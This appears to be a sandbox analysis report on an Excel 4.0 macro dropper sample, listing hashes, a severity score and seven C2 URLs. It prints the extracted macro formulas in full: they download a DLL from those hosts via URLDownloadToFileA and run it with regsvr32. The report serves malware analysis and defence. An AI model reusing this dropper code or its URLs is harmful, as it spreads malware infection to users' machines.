General

  • Target

    1f1343684d5bfbc1dd4b9ac2aa6d9cf88091fd92c928188e146694b4e7aede0c

  • Size

    21KB

  • Sample

    241120-l5j9hsvpdz

  • MD5

    bca9fbcd4c1d5d9224d8bd306c3d6d49

  • SHA1

    b3d93d8b5cbb93a74e06b728c17f9755d55eb231

  • SHA256

    1f1343684d5bfbc1dd4b9ac2aa6d9cf88091fd92c928188e146694b4e7aede0c

  • SHA512

    28de3ff56ae8249c9cf9c82ea49d8dbee66700ba3f5652900a38c002ced17b115ea2b3933ac8efe264bfe4528e730744fd8ed1f207c9a055893d633b64c9d8a2

  • SSDEEP

    384:PhuAi/NjZS8EibbwBlwegASYrLb5CzgObff9kC+xbX77NWu:PtsNxzXQFCBn9kC+xbL71

Score
10/10

Malware Config

Extracted

Rule
Excel 4.0 XLM Macro
C2

http://beetle-j.jp/wp-admin/ErM4mW05tdj/

https://brutobrasil.com.br/pdf/toO18cIP3/

http://e3technology.in/2checkout_integration_php/rDcr1Wl90WWA9M/

http://biesenbeek.nl/familie/b6KKlrfH75GD3dHojB/

http://bjornbol.dk/wp-includes/ve4cnkjsUMWXC5Cb2bJ/

http://bcelectronics.co.za/wp-content/grKnz1V/

http://bebesel.com.tr/cgi-bin/1wy3oHO/

Attributes
  • formulas

    =CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://beetle-j.jp/wp-admin/ErM4mW05tdj/","..\rfs.dll",0,0) =IF('PCWV'!G13<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://brutobrasil.com.br/pdf/toO18cIP3/","..\rfs.dll",0,0)) =IF('PCWV'!G15<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://e3technology.in/2checkout_integration_php/rDcr1Wl90WWA9M/","..\rfs.dll",0,0)) =IF('PCWV'!G17<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://biesenbeek.nl/familie/b6KKlrfH75GD3dHojB/","..\rfs.dll",0,0)) =IF('PCWV'!G19<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://bjornbol.dk/wp-includes/ve4cnkjsUMWXC5Cb2bJ/","..\rfs.dll",0,0)) =IF('PCWV'!G21<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://bcelectronics.co.za/wp-content/grKnz1V/","..\rfs.dll",0,0)) =IF('PCWV'!G23<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://bebesel.com.tr/cgi-bin/1wy3oHO/","..\rfs.dll",0,0)) =IF('PCWV'!G25<0,CLOSE(0),) =EXEC("C:\Windows\SysWow64\regsvr32.exe -s ..\rfs.dll") =RETURN()

Extracted

Language
xlm4.0
Source
URLs
xlm40.dropper

http://beetle-j.jp/wp-admin/ErM4mW05tdj/

xlm40.dropper

https://brutobrasil.com.br/pdf/toO18cIP3/

xlm40.dropper

http://e3technology.in/2checkout_integration_php/rDcr1Wl90WWA9M/

Targets

    • Target

      1f1343684d5bfbc1dd4b9ac2aa6d9cf88091fd92c928188e146694b4e7aede0c

    • Size

      21KB

    • MD5

      bca9fbcd4c1d5d9224d8bd306c3d6d49

    • SHA1

      b3d93d8b5cbb93a74e06b728c17f9755d55eb231

    • SHA256

      1f1343684d5bfbc1dd4b9ac2aa6d9cf88091fd92c928188e146694b4e7aede0c

    • SHA512

      28de3ff56ae8249c9cf9c82ea49d8dbee66700ba3f5652900a38c002ced17b115ea2b3933ac8efe264bfe4528e730744fd8ed1f207c9a055893d633b64c9d8a2

    • SSDEEP

      384:PhuAi/NjZS8EibbwBlwegASYrLb5CzgObff9kC+xbX77NWu:PtsNxzXQFCBn9kC+xbL71

    Score
    10/10
    • Process spawned unexpected child process

      This typically indicates the parent process was compromised via an exploit or macro.

MITRE ATT&CK Enterprise v15

Tasks